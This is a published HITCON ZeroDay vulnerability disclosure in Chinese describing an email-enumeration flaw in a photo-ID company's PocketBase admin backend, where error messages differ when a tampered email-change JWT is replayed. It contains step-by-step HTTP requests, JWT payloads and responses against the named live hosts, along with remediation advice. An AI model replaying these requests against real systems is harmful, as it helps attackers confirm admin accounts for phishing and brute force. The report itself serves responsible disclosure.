悟空科技股份有限公司 後台系統所使用的後端管理程式之特定端點存在錯誤訊息差異,可導致 Email Enumeration/Account Existence Oracle - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00958
  •  發信 Vendor: 誠和國際股份有限公司, 悟空科技股份有限公司, 株式会社喜喜
  • Title: 悟空科技股份有限公司 後台系統所使用的後端管理程式之特定端點存在錯誤訊息差異,可導致 Email Enumeration/Account Existence Oracle
  • Introduction: 網站後台管理頁面所使用的後端管理程式中,特定端點在特定條件下會回傳可被區分的錯誤訊息,使攻擊者得以判斷目標 email 是否已綁定至後台使用者帳號,構成具前置條件的 Email Enumeration/Account Existence Oracle。

處理狀態

目前狀態

公開
Last Update : 2026/09/27
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/07/28 10:25:01 : 新提交 (由 更新此狀態)
  • 2026/07/28 10:40:34 : 新提交 (由 更新此狀態)
  • 2026/07/28 11:44:21 : 新提交 (由 更新此狀態)
  • 2026/08/03 12:32:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 18:57:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 18:57:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 18:57:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/27 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00958
  • 通報者:S_Cyrus ()
  • 風險:中
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://diyidphoto.com/api/pb/api/collections/users/request-email-change
https://diyidphoto.com/api/pb/api/collections/users/confirm-email-change

敘述

0. 摘要(Summary)

https://helper.diyidphoto.com/ 使用 PocketBase 作為其後端管理程式,且是 https://diyidphoto.com/zh-tw/ 與 https://jp.diyidphoto.com/ 的後台管理頁面。

測試時發現,只要先透過正常的 email-change 流程取得系統簽發的 email-change token,再修改其中的 newEmail 並重放請求,即可從 /api/pb/api/collections/users/confirm-email-change 端點的錯誤訊息差異,判斷目標 email 是否已綁定至其他使用者(網站後台管理人員)帳號。

例如,當 newEmail 已存在於系統中時,系統會回傳:

The new email address is already registered: <Redacted_Email>

相對地,當 newEmail 不存在於系統中(並與原先請求之 email 不匹配)時,系統可能將 token 判定為無效並回傳:

Invalid or expired token.

由於上述錯誤訊息可被明確區分,攻擊者得以推斷特定 email 是否已註冊或綁定至其他使用者帳號,因此構成具前置條件的 Email Enumeration/Account Existence Oracle。


1. 受影響功能(Affected Feature)

  • 功能:網站後台 PB user email-change 流程

  • 主要受影響端點:

  POST /api/pb/api/collections/users/request-email-change
  POST /api/pb/api/collections/users/confirm-email-change
  • 主要受影響資料:

    • email 是否已綁定至其他後台使用者帳號

2. 漏洞驗證之前置條件(Preconditions for Verification)

  • 需要擁有 2 個可登入 helper.diyidphoto.com 後台的 PB user 帳號,建議該帳號 "role": ["admin"] 會比較方便測試。可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。
  • 需要有 2 個 email。
  • 需使用 Burp Suite 的 JWT Editor 等相關擴充功能,以進行修改 JWT 操作。
  • 須先透過一次正常的 email-change 流程取得一枚由系統簽發的 email-change token,作為後續修改與重放請求的基礎。

3. 重現步驟(Steps to Reproduce)與概念驗證(Proof of Concept)

以下重現步驟皆使用 Burp Suite 作為工具。

以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖,所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留,若需要可再補充。


步驟 1:準備兩個 PB user 帳號

  1. 建立 PB user 帳號,其中一個帳號在註冊時綁 email。(可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。)

例如:

PB user A - 未綁 email,用於發起 email-change 流程

POST /api/pb/api/collections/users/records HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{
  "password": "<Redacted_Password>",
  "passwordConfirm": "<Redacted_Password>"
}

在 Response 中可見以下相關資訊:

{
  "avatar": "",
  "collectionId": "_pb_users_auth_",
  "collectionName": "users",
  "created": "<Created_Date_Time>",
  "emailVisibility": false,
  "id": "<Id>",
  "name": "",
  "role": <Role>,
  "updated": "<Updated_Date_Time>",
  "username": "<Username>",
  "verified": false
}

圖片

PB user B - 綁 email,[email protected],用來代表該 email 已被註冊 / 已存在於系統中

POST /api/pb/api/collections/users/records HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{
  "email": "[email protected]",
  "emailVisibility": true,
  "password": "<Redacted_Password>",
  "passwordConfirm": "<Redacted_Password>"
}

在 Response 中可見以下相關資訊:

{
  "avatar": "",
  "collectionId": "_pb_users_auth_",
  "collectionName": "users",
  "created": "<Created_Date_Time>",
  "email": "[email protected]",
  "emailVisibility": true,
  "id": "<Id>",
  "name": "",
  "role": <Role>,
  "updated": "<Updated_Date_Time>",
  "username": "<Username>",
  "verified": false
}

圖片


步驟 2:以 PB user A 完成一次 email-change 流程並取得 token

  1. 在 Burp Suite 中的 Repeater,將 PB user A 的 identity (username) / password 填入 request body 進行 PB 身份驗證,如下:
POST /api/pb/api/collections/users/auth-with-password HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{
  "identity": "<Redacted_Username>",
  "password": "<Redacted_Password>"
}

送出後,可在 response 中取得 PB user A 之 JWT。

  1. 使用 PB user A 進行以下 email-change 請求。

其中 Request Header Authorization 填入剛剛得到的 PB user A 之 JWT,而參數 newEmail 須填寫確定可收到信件的 email。

POST /api/pb/api/collections/users/request-email-change HTTP/2
Host: helper.diyidphoto.com
Authorization: Bearer <redacted_auth_token>
Content-Type: application/json

{
  "newEmail": "<Redacted_Email_A>"
}

圖片

  1. 經上述請求後,email 應收到一封信件,其中應有一組網址 https://diyidphoto.com/api/pb/_/#/auth/confirm-email-change/<JWT>。該網址中的 <JWT> 即為由系統簽發的 email-change token。

將網址貼上 Burp Suite 的瀏覽器,輸入此帳號 PB user A 之密碼,完成 email-change 流程。

圖片


步驟 3:重放 confirm-email-change 請求

  1. 經過上述步驟後,從 Burp Suite 的 Proxy 頁籤中的 HTTP history 中,應可見以下請求,請將其發送至 Repeater。
POST /api/pb/api/collections/users/confirm-email-change HTTP/2
Host: diyidphoto.com
Content-Type: application/json

{
  "token": "<JWT>",
  "password": "<PB_User_A_Password>"
}

後續測試皆以此由系統簽發的 email-change token 作為修改與重放請求的基礎。

  1. 在 Repeater 直接重放上述請求,即會在回應中可見
{
  "code": 400,
  "message": "Something went wrong while processing your request.",
  "data": {
    "password": {
      "code": "validation_invalid_password",
      "message": "Missing or invalid auth record password."
    },
    "token": {
      "code": "validation_existing_token_email",
      "message": "The new email address is already registered: <Redacted_Email_A>"
    }
  }
}

其中明確表示 The new email address is already registered,且 <Redacted_Email_A> 之處為我們在步驟 2 中填入的 email。

圖片


步驟 4:測試 newEmail 已被其他使用者註冊或擁有的情境

  1. 載入 Burp Suite 的 JWT Editor 擴充功能,解析上述由系統簽發的 email-change token,應會發現 POST /api/pb/api/collections/users/confirm-email-change 請求中的參數 token 的值,可被解碼為
{
    "alg": "HS256",
    "typ": "JWT"
}
{
    "collectionId": "_pb_users_auth_",
    "email": "",
    "exp": <Exp>,
    "id": "<PB_User_A_Id>",
    "newEmail": "<Redacted_Email_A>",
    "type": "authRecord"
}

圖片

  1. 將系統簽發的 email-change token 中的 newEmail 修改為 PB user B 綁定的 email(此例中為 Redacted_Email_B),且不重新簽章。接著重放請求,即可看到以下回應:
{
  "code": 400,
  "message": "Something went wrong while processing your request.",
  "data": {
    "password": {
      "code": "validation_invalid_password",
      "message": "Missing or invalid auth record password."
    },
    "token": {
      "code": "validation_existing_token_email",
      "message": "The new email address is already registered: <Redacted_Email_B>"
    }
  }
}

即可知該 Redacted_Email_B 已被註冊 / 已存在於系統中。

圖片


步驟 5:測試 newEmail 與原先請求不匹配的情境

  1. 接著,將 newEmail 改為非步驟 2 之 email,且可合理確認尚未註冊的測試用 email,例如 [email protected]
{
    "alg": "HS256",
    "typ": "JWT"
}
{
    "collectionId": "_pb_users_auth_",
    "email": "",
    "exp": <Exp>,
    "id": "<PB_User_A_Id>",
    "newEmail": "[email protected]",
    "type": "authRecord"
}

同樣不重新簽章,然後點擊 Send 按鈕以重放請求,即會在回應中可見

{
  "code": 400,
  "message": "Something went wrong while processing your request.",
  "data": {
    "password": {
      "code": "validation_invalid_password",
      "message": "Missing or invalid auth record password."
    },
    "token": {
      "code": "validation_invalid_token",
      "message": "Invalid or expired token."
    }
  }
}

其中明確表示 Invalid or expired token。

圖片


4. 預期行為(Expected Behavior)

正常情況下,confirm-email-change 端點不應讓外部呼叫者透過錯誤訊息差異判斷 email 是否存在於系統中。

以下任一情境皆應回傳一致且模糊化的錯誤訊息:

  • email 已存在
  • email 不存在與原先請求不匹配
  • token invalid
  • token expired
  • token 已使用
  • password invalid
  • email change request 無法完成

例如統一回傳:

The email change request is invalid or cannot be completed.

5. 實際行為(Actual Behavior)

實際測試中,修改 email-change token 內的 newEmail 並重放請求後,confirm-email-change 端點會依據目標 email 是否存在,回傳不同的錯誤訊息:

  • 當 newEmail 已存在於系統中時,系統會回傳 The new email address is already registered。
  • 當 newEmail 不存在於系統中,且與原先請求的 email 不匹配時,系統會回傳 Invalid or expired token。

由於上述回應可被明確區分,攻擊者可據此判斷特定 email 是否已註冊,構成具前置條件的 Email Enumeration/Account Existence Oracle。


6. 影響(Impact)

此問題可能導致以下風險:

  • 提高攻擊者對後台帳號的存在性確認與掌握程度
  • 對確定有後台帳號的 email,進行密碼暴力破解、釣魚或社交工程
  • 與其它漏洞串聯,例如低權限後台帳號可繞過 RBAC,在訂單查詢功能中搜尋 測試 或 test,可取得疑似公司內部人員的 email;接著利用此漏洞,確認該 email 是否已綁定至後台管理帳號,再據此進行釣魚或社交工程等後續攻擊。

7. 可能的根本原因(Likely Root Cause)

由於修改後的 token 未重新簽章,系統仍會依據 Payload 中的 newEmail 是否存在而回傳不同的錯誤訊息。

因此,問題除了錯誤訊息過於具體外,也可能與 token 驗證及資料檢查的執行順序有關。

可能的原因包括:

  1. 後端可能在完整驗證 token 的簽章、有效期限、用途、帳號關聯及使用狀態前,即讀取 Payload 中的 newEmail,並執行 email 存在性檢查。
  2. 後端將 email 已存在 與 token invalid 視為不同錯誤,並直接將可被區分的錯誤訊息回傳給前端。
  3. 未對錯誤訊息進行一致且模糊化的處理,導致外部呼叫者可藉由 confirm-email-change 端點的回應差異,推測 email 是否存在於系統中。
  4. 系統缺少防枚舉設計,或未針對相關 API 端點設計一致且模糊化的錯誤訊息(可見多個 API 端點回傳詳細錯誤訊息)。

8. 嚴重性評估(Severity Assessment)

中風險(Medium)

理由:


9. 補充說明(Researcher Note)

  1. 本報告之測試僅限確認漏洞存在,未進行批次化、大量化或自動化操作,也未進行破壞性操作。

  2. 由於此系統與技術牽涉到三家公司-台灣公司為誠和國際股份有限公司(https://www.seiwainc.com.tw/)與悟空科技股份有限公司(https://www.goqoo.com/),日本公司為株式会社喜喜(https://jp.diyidphoto.com/)。就可見資料顯示(https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment),三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向,並且問題可牽涉到跨國站點,因此建議同時聯絡三間公司。

以下是三間公司之相關信箱:

誠和國際:[email protected]
悟空科技:[email protected]
DIY證件照-台灣站(悟空科技):[email protected]
DIY證件照-日本站(株式会社喜喜):[email protected]

修補建議

## 修補建議(Remediation Suggestions)

1. 完整驗證 token 後再處理 `newEmail`

- 在讀取或使用 token Payload 中的 `newEmail` 前,應先完整驗證 token 的簽章、有效期限、用途、帳號關聯及使用狀態。
- 若任一驗證失敗,應立即終止處理,不應繼續執行 email 存在性檢查或其他資料驗證。
- 不應根據尚未完成驗證的 token Payload 內容查詢或判斷帳號資料。

2. 統一 `confirm-email-change` 端點的錯誤訊息

- 不要讓 `email 已存在`、`token invalid`、`token expired`、`password invalid` 等情境回傳可被外部區分的錯誤。
- 應對外回傳一致且模糊化的錯誤訊息。

3. 不向前端或外部呼叫者暴露敏感錯誤資訊

- 例如避免直接回傳:

```text
validation_existing_token_email
validation_invalid_token
already registered
Invalid or expired token
```

- 若內部仍需要記錄詳細的錯誤原因,建議只保留於後端 log 中。

4. 強化高風險帳號操作保護

電子郵件變更等敏感操作,可考慮加入:

- 近期登入驗證
- 舊 email 通知
- 新舊 email 雙向通知
- 高權限帳號的額外保護

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;